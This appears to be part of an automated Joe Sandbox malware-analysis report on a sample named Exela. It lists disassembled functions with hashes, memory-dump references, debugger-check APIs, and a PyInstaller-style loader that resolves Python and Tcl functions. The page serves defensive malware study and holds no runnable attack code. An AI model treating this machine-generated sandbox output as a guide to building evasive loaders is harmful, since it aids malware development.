Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 1e818ce3d7a60ac953b6edb356e5c611bf03bd3223dab8e8a1ec707a6cadd3f1
Instruction ID: 1fbace0b4ee27007389d68bf9bba8e665a50f9c9a7810176078ed253deefea20
Opcode Fuzzy Hash: 1e818ce3d7a60ac953b6edb356e5c611bf03bd3223dab8e8a1ec707a6cadd3f1
Instruction Fuzzy Hash: 3C218E72B047419AEB248F68C4863EC3BB0EB04758F444635E71CA6BC9DF39D584CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A76A88 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A769ED

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction ID: 5576c075f0df4d728959a9795c283128dad3628c92348dce194f782996a47ec6
Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction Fuzzy Hash: DC119923F1C68141EA609F59D4823B9AB60BF85B84F154435EB4CA77DACF3ED480874A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A8728C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A872AF

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a2fd61d2380c2417d5794f115bbf4a656e75441d4a409d8b240f29f696bd49a
Instruction ID: 7631d49ef99bafc8b62ee3236d08a8c82b2056041924b9f79788bc7cded04a43
Opcode Fuzzy Hash: 5a2fd61d2380c2417d5794f115bbf4a656e75441d4a409d8b240f29f696bd49a
Instruction Fuzzy Hash: CF21C533B18A8186DB658F1CE4863797BA0FB84B54F144234EA5D976D9DF3FD4808B05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A70ADC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A70B30

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f9b91d952c5f5bbb27c286856a89106101f2e0992174c8f8af0f54b7d3c9b46c
Instruction ID: 4939a62821196a80c627daeed502d113049477690e9e9976406e35b9bf2dd2d3
Opcode Fuzzy Hash: f9b91d952c5f5bbb27c286856a89106101f2e0992174c8f8af0f54b7d3c9b46c
Instruction Fuzzy Hash: 9F010C22B0474140EA00DF5A9482269AFA4FF81FE4F084270DE6CA3BDECE3DD1818305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7F738 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6E3A7BF86,?,?,?,00007FF6E3A7B147,?,?,00000000,00007FF6E3A7B3E2), ref: 00007FF6E3A7F78D

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fe294415788ef69df4791d37b3f3bc23e16fbf5a99c7a053f345730c87ab0e5c
Instruction ID: 8d970d0d091887f62acfb64508169c201c052282a9c070875e729d7d4630bd70
Opcode Fuzzy Hash: fe294415788ef69df4791d37b3f3bc23e16fbf5a99c7a053f345730c87ab0e5c
Instruction Fuzzy Hash: 07F06D1AB1A20745FE54976E59973F55B905F86B80F0C4430C90EEA3C9EE2EE6C1822A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7E19C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF6E3A71304,?,?,?,00007FF6E3A72816,?,?,?,?,?,00007FF6E3A73E09), ref: 00007FF6E3A7E1DA

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f8a53f2717aa9a418a153665f15f668aef4399ea448e79edee1d71d72a1e7fd0
Instruction ID: 01025d6c5a09d138c14ef5e750c1a2b6f4040460c2f117778f3bb1e2cadbef45
Opcode Fuzzy Hash: f8a53f2717aa9a418a153665f15f668aef4399ea448e79edee1d71d72a1e7fd0
Instruction Fuzzy Hash: 9FF08227F0924744FE5467699987B759A804FD47A0F084330FC2EE52C9DE2EE4C0821B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A758F0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A7FD44: DeleteCriticalSection.KERNEL32 ref: 00007FF6E3A7FDB7

DeleteCriticalSection.KERNEL32 ref: 00007FF6E3A75921

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: 6cef81dd87d65aa7e3425930808111007e468ca4050348ada3bd0df8db49a6fd
Instruction ID: ba6c4c50f80777901d064cbc55c5d8d60092c82cde99ebe42ff41fc3d1196270
Opcode Fuzzy Hash: 6cef81dd87d65aa7e3425930808111007e468ca4050348ada3bd0df8db49a6fd
Instruction Fuzzy Hash: CAF03057F0890641FB10ABADD8C33741AA0EF99B05F002531C85EE62A6CE1EA0C4870F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A683E0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 7e1da00ca9488ba9f8c26a1434a4c92b0e41dc958698a2dc8e9c758257d60df6
Instruction ID: e615708a5ede46df3e7bbb21bbaf7dcc25813e05c33202498c75a5e98843888f
Opcode Fuzzy Hash: 7e1da00ca9488ba9f8c26a1434a4c92b0e41dc958698a2dc8e9c758257d60df6
Instruction Fuzzy Hash: 4541C517E2C68182E6119B2C95163FC3768FBA5744F449232DB8DA2193EF29E2D8C305

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF6E3A6C6AC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6E3A6C6C8
RtlCaptureContext.KERNEL32 ref: 00007FF6E3A6C6F5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6E3A6C70F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6E3A6C750
IsDebuggerPresent.KERNEL32 ref: 00007FF6E3A6C7A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6E3A6C7C1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6E3A6C7CC

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f0495aeca64e737fa0ff218dd5454e1fd46196f668a698fc407bc1dcdf963f54
Instruction ID: 79ba96b6aef64dac3ef9ea26b69491582351da6647f921c4cbb990c165b42023
Opcode Fuzzy Hash: f0495aeca64e737fa0ff218dd5454e1fd46196f668a698fc407bc1dcdf963f54
Instruction Fuzzy Hash: 3F317C73718A8186EB609F68E8853E97760FB84704F00403ADA4E97B94DF39D288CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7B1B8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6E3A7B231
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6E3A7B249
RtlVirtualUnwind.KERNEL32 ref: 00007FF6E3A7B284
IsDebuggerPresent.KERNEL32 ref: 00007FF6E3A7B2BD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6E3A7B2C7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6E3A7B2D2

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: fd667905384e7d9d9673078d4bc89f495a5f33449598c9bf886212c96aaa5de2
Instruction ID: 2b9731e7c9d8c6b4ef88cd7653f06bdfd4a876b103392bad866ba014183d7fdb
Opcode Fuzzy Hash: fd667905384e7d9d9673078d4bc89f495a5f33449598c9bf886212c96aaa5de2
Instruction Fuzzy Hash: EF318F37718B8186DB608F29E8853AE77A4FB88754F400135EA8D93BA8DF3DC195CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A824C4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A82510
FindFirstFileExW.KERNEL32 ref: 00007FF6E3A8261A

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 18153d3bacff35197e7a12e87e099423dfee31ad9b8f95cd6c78971f36698885
Instruction ID: 4bff5a3935f10e202b537300fc6af518e2483255ce657ffd61b4d17251d7c7f0
Opcode Fuzzy Hash: 18153d3bacff35197e7a12e87e099423dfee31ad9b8f95cd6c78971f36698885
Instruction Fuzzy Hash: 66B1D623B186C241EE64DB2AD41A3B96B62EB44BD4F444131EE5DA7BC9DF3DE481C309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A651E0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A651F0
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A6522A
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A6524F
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A65274
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A6529C
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A652C4
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A652EC
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A65314
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A6533C
GetProcAddress.KERNEL32(?,?,00000000,00007FF6E3A6344E), ref: 00007FF6E3A65364

Strings

PyConfig_Clear, xrefs: 00007FF6E3A6530A
PyErr_Print, xrefs: 00007FF6E3A6549A
Failed to get address for PyObject_CallFunction, xrefs: 00007FF6E3A65646
Failed to get address for PyErr_Clear, xrefs: 00007FF6E3A65416
PyImport_ImportModule, xrefs: 00007FF6E3A65562
Failed to get address for PyMem_RawFree, xrefs: 00007FF6E3A655F6
GetProcAddress, xrefs: 00007FF6E3A65209
Failed to get address for PyImport_ImportModule, xrefs: 00007FF6E3A6557E
Py_InitializeFromConfig, xrefs: 00007FF6E3A65292
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF6E3A65556
Failed to get address for PyErr_Print, xrefs: 00007FF6E3A654B6
PyModule_GetDict, xrefs: 00007FF6E3A65602
Py_IsInitialized, xrefs: 00007FF6E3A652BA
PyUnicode_Replace, xrefs: 00007FF6E3A658AA
Failed to get address for Py_ExitStatusException, xrefs: 00007FF6E3A65261
Failed to get address for Py_PreInitialize, xrefs: 00007FF6E3A652FE
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF6E3A6534E
Failed to get address for PyModule_GetDict, xrefs: 00007FF6E3A6561E
Py_DecRef, xrefs: 00007FF6E3A651E6
Py_ExitStatusException, xrefs: 00007FF6E3A65245
Failed to get address for PyConfig_Clear, xrefs: 00007FF6E3A65326
PyImport_AddModule, xrefs: 00007FF6E3A65512
PyUnicode_AsUTF8, xrefs: 00007FF6E3A657BA
Py_PreInitialize, xrefs: 00007FF6E3A652E2
PyRun_SimpleStringFlags, xrefs: 00007FF6E3A6571A
PyErr_Restore, xrefs: 00007FF6E3A654C2
Failed to get address for PyErr_Restore, xrefs: 00007FF6E3A654DE
Failed to get address for PyEval_EvalCode, xrefs: 00007FF6E3A65506
Failed to get address for PyUnicode_Join, xrefs: 00007FF6E3A6589E
Failed to get address for PySys_SetObject, xrefs: 00007FF6E3A657AE
PyObject_SetAttrString, xrefs: 00007FF6E3A656A2
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF6E3A65466
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF6E3A6584E
Failed to get address for PyUnicode_Replace, xrefs: 00007FF6E3A658C6
PyUnicode_FromString, xrefs: 00007FF6E3A6585A
PyStatus_Exception, xrefs: 00007FF6E3A65742
Failed to get address for PyErr_Occurred, xrefs: 00007FF6E3A6548E
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF6E3A655CE
PyUnicode_DecodeFSDefault, xrefs: 00007FF6E3A6580A
Failed to get address for PyList_Append, xrefs: 00007FF6E3A655A6
PyConfig_SetWideStringList, xrefs: 00007FF6E3A653D2
PyConfig_SetBytesString, xrefs: 00007FF6E3A65382
Failed to get address for PyObject_Str, xrefs: 00007FF6E3A656E6
Failed to get address for PyStatus_Exception, xrefs: 00007FF6E3A6575E
Py_DecodeLocale, xrefs: 00007FF6E3A65220
PySys_GetObject, xrefs: 00007FF6E3A6576A
PyObject_CallFunctionObjArgs, xrefs: 00007FF6E3A65652
Py_Finalize, xrefs: 00007FF6E3A6526A
PyObject_Str, xrefs: 00007FF6E3A656CA
PyList_Append, xrefs: 00007FF6E3A6558A
PyEval_EvalCode, xrefs: 00007FF6E3A654EA
Failed to get address for PyUnicode_FromString, xrefs: 00007FF6E3A65876
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6E3A6570E
Failed to get address for PySys_GetObject, xrefs: 00007FF6E3A65786
Failed to get address for PyUnicode_Decode, xrefs: 00007FF6E3A657FE
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF6E3A657D6
PyObject_CallFunction, xrefs: 00007FF6E3A6562A
Failed to get address for Py_DecRef, xrefs: 00007FF6E3A65202
PyErr_Clear, xrefs: 00007FF6E3A653FA
PyMem_RawFree, xrefs: 00007FF6E3A655DA
Failed to get address for PyErr_Fetch, xrefs: 00007FF6E3A6543E
Failed to get address for Py_DecodeLocale, xrefs: 00007FF6E3A6523C
Failed to get address for PyConfig_Read, xrefs: 00007FF6E3A65376
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF6E3A6539E
PyErr_Fetch, xrefs: 00007FF6E3A65422
PySys_SetObject, xrefs: 00007FF6E3A65792
PyConfig_SetString, xrefs: 00007FF6E3A653AA
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF6E3A65736
PyConfig_InitIsolatedConfig, xrefs: 00007FF6E3A65332
PyObject_GetAttrString, xrefs: 00007FF6E3A6567A
PyUnicode_Decode, xrefs: 00007FF6E3A657E2
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF6E3A65696
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF6E3A6566E
PyUnicode_FromFormat, xrefs: 00007FF6E3A65832
PyConfig_Read, xrefs: 00007FF6E3A6535A
PyErr_NormalizeException, xrefs: 00007FF6E3A6544A
Failed to get address for PyConfig_SetString, xrefs: 00007FF6E3A653C6
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF6E3A652AE
Failed to get address for Py_IsInitialized, xrefs: 00007FF6E3A652D6
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF6E3A65826
PyErr_Occurred, xrefs: 00007FF6E3A65472
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF6E3A656BE
Failed to get address for PyImport_AddModule, xrefs: 00007FF6E3A6552E
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6E3A656F2
PyMarshal_ReadObjectFromString, xrefs: 00007FF6E3A655B2
Failed to get address for Py_Finalize, xrefs: 00007FF6E3A65286
PyImport_ExecCodeModule, xrefs: 00007FF6E3A6553A
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF6E3A653EE
PyUnicode_Join, xrefs: 00007FF6E3A65882

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: 0f541286951d05cfde1ee621bc5578c8d1597a0a29c56f9860b2b78389049273
Instruction ID: cfaa460c3a9c2e1e21572d5660f7e230a3dfbe4ac4f1b9cd73e55373e033928d
Opcode Fuzzy Hash: 0f541286951d05cfde1ee621bc5578c8d1597a0a29c56f9860b2b78389049273
Instruction Fuzzy Hash: 0412EA77B1AB4390EA189B1CB85A3703BF1AF04755B841131C81EA6664FF7EE5D8D20E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A66EF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6E3A66F07
GetProcAddress.KERNEL32 ref: 00007FF6E3A66F46
GetProcAddress.KERNEL32 ref: 00007FF6E3A66F6B
GetProcAddress.KERNEL32 ref: 00007FF6E3A66F90
GetProcAddress.KERNEL32 ref: 00007FF6E3A66FB8
GetProcAddress.KERNEL32 ref: 00007FF6E3A66FE0
GetProcAddress.KERNEL32 ref: 00007FF6E3A67008
GetProcAddress.KERNEL32 ref: 00007FF6E3A67030
GetProcAddress.KERNEL32 ref: 00007FF6E3A67058

Strings

Tcl_Init, xrefs: 00007FF6E3A66F00
Tcl_DeleteInterp, xrefs: 00007FF6E3A66FFE
GetProcAddress, xrefs: 00007FF6E3A66F20
Tcl_EvalEx, xrefs: 00007FF6E3A672F6
Tcl_FinalizeThread, xrefs: 00007FF6E3A66FD6
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF6E3A6715A
